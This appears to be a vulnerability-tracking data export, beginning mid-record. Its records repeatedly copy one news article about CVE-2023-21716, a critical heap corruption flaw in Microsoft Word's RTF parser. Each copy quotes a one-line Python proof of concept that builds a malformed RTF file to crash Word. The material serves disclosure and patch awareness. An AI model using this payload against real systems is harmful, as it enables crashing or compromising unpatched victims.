"74dcff64-4278-497e-a143-4f7e61480c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/Y77gHVTBkEwe_B8H7TYEkJj_P2j4BEeA0LI6LQ2vGbWCnCU", "content": "", "creation_timestamp": "2026-08-31T00:00:41.590192Z"}, {"uuid": "773313b5-dd72-447a-a321-00d300e77613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/hacking_Attack/93604", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 2,077 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-cont[...]", "creation_timestamp": "2026-09-01T20:01:02.927625Z"}, {"uuid": "d1995b11-e6da-444c-b7b6-a6a985de8118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/hacking_Attack/93459", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 3 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uplo[...]", "creation_timestamp": "2026-09-01T20:01:03.017012Z"}, {"uuid": "a7b70318-5550-4b57-ac0c-b773b763d94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/hacking_Attack/93604", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 2,077 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-cont[...]", "creation_timestamp": "2026-09-02T01:01:22.754482Z"}, {"uuid": "05a0d7eb-d548-4e9c-9c7c-c19a8cadbd8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/hacking_Attack/93459", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 3 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uplo[...]", "creation_timestamp": "2026-09-02T01:01:22.853575Z"}, {"uuid": "12469fda-8ce6-45c3-b746-f638d655769c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93604", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 2,077 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-cont[...]", "creation_timestamp": "2026-09-04T20:00:05.407643Z"}, {"uuid": "28119b8f-7468-494a-a5b2-2b71a6ea137c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93459", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 3 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uplo[...]", "creation_timestamp": "2026-09-04T20:00:05.309767Z"}, {"uuid": "ad01faae-669a-4766-a6d2-420853a5a5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93459", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 3 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uplo[...]", "creation_timestamp": "2026-09-05T01:00:17.807826Z"}, {"uuid": "f5369d84-cf41-42f8-988a-e96f5957660c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93604", "content": "Black Hat Ethical Hacking\nProof-of-concept for critical Microsoft Word vulnerability published\n\nProof-of-concept for critical Microsoft Word vulnerability publishedPost Views: 2,077 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Proof-of-concept published for critical vulnerability in Microsoft WordA critical vulnerability in Microsoft Word has recently been discovered, which allows remote code execution. Security researcher Joshua Drake uncovered the issue in Microsoft Office\u2019s \u201cwwlib.dll\u201d and sent a technical advisory with proof-of-concept code to Microsoft last year. CVE-2023-21716 was assigned a 9.8 out of 10 severity score and addressed by Microsoft in the February Patch Tuesday security updates. The vulnerability\u2019s severity is due to the low attack complexity and the lack of privileges and user interaction needed to exploit it.\n\nIf a victim opens a malicious .RTF document, a remote attacker could potentially execute code with the same privileges as the victim. The malicious file can be delivered through various methods, including email attachments. Even loading the file in the Preview Pane can be enough for the compromise to start, according to Microsoft. Joshua Drake explained that the RTF parser in Microsoft Word has a heap corruption vulnerability that occurs when dealing with a font table containing an excessive number of fonts. There is additional processing after the memory corruption occurs, and a threat actor could leverage the bug for arbitrary code execution with a properly crafted heap layout.\nCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\rtf1{n{\\fonttbl\" + \"\".join([ (\"{\\f%dA;}n\" % i) for i in range(0,32761) ]) + \"}n{\\rtlch no crash??}n}}n\").encode('utf-8'))\n\n\u2014 Joshua J. Drake (@jduck) March 5, 2023\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses No indication of active exploitation, but threat actors may attempt to reverse engineer fixAt present, there is no evidence of the vulnerability being exploited in the wild, and Microsoft assesses that taking advantage of the issue is \u201cless likely.\u201d However, critical vulnerabilities like this one draw the attention of threat actors, and more advanced ones may attempt to reverse engineer the fix to find a way to exploit it. When exploit code becomes available, a larger pool of attackers starts using the vulnerability since less effort is needed to modify a PoC than to come up with an exploit from scratch.\nTrending: Primer on Broken Access Control vulnerabilities and how to find them Trending: Offensive Security Tool: SecretOpt1c Workarounds for users unable to apply update come with potential risksMicrosoft\u2019s current workaround solutions for users that cannot apply the fix include reading emails in plain text format or enabling the Microsoft Office File Block policy. However, both methods have their drawbacks, and enabling the policy requires modifying the Windows Registry. In addition, even if a complete exploit is currently unavailable and only theoretical, installing the security update from Microsoft remains the safest way to deal with the vulnerability.\nTrending: Critical vulnerabilities discovered in popular Houzez theme and plugin for WordPress Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-cont[...]", "creation_timestamp": "2026-09-05T01:00:17.953247Z"}]}